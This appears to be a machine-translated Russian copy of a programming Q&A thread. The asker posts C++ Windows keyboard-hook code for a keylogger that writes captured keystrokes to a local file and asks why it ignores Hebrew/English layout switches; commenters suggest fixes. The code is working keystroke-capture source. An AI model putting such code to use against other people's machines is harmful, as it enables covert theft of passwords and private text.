Я пытаюсь написать ключ-регистратор, но у меня проблема при переключении языка.клавиатура hook-different languages - C++
У меня есть иврит и английский язык на моей клавиатуре.
Он хорошо распознает иврит и английский язык отдельно, проблема в том, что я меняю язык (alt + shift), поэтому он остается на первом языке.
код:
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char ch;
if (((DWORD)lParam & 0x40000000) && (HC_ACTION == nCode))
{
if ((wParam == VK_SPACE) || (wParam == VK_RETURN) || (wParam >= 0x2f) && (wParam <= 0x100))
{
std::string toPrint = "nCode = " + std::to_string(nCode);
std::string toPrint2 = "wParam = " + std::to_string(wParam);
std::string toPrint3 = "wParam = " + std::to_string(lParam);
OutputDebugStringA(toPrint.c_str());
OutputDebugStringA(toPrint2.c_str());
OutputDebugStringA(toPrint3.c_str());
f1 = fopen("c:\\a\\log.txt", "a+");
if (wParam == VK_RETURN)
{
ch = '\n';
fwrite(&ch, 1, 1, f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan = 0;
ToAscii(wParam, scan, ks, &w, 0);
ch = char(w);
fwrite(&ch, 1, 1, f1);
}
fclose(f1);
}
}
Я видел, что параметры nCode, WPARAM и LPARAM имеют одинаковые значения в двух языках.
Любые идеи?
Спасибо!
Останавливает ли это подключение клавиш или просто не отображает результаты? – Jacobr365
Можете ли вы сделать крючок, где кейлоггер может распознать эту конкретную комбинацию и затем переключить языки, когда это произойдет? Или, может быть, вы можете просто записать исходный ввод ключа, а затем работать с необработанными данными после того, как наклейте, когда был сделан переключатель. – VermillionAzure
Он не прекращает подключать ключи ... просто отображает ключ на первом языке, а не текущий язык. У меня есть окна 8 – 1337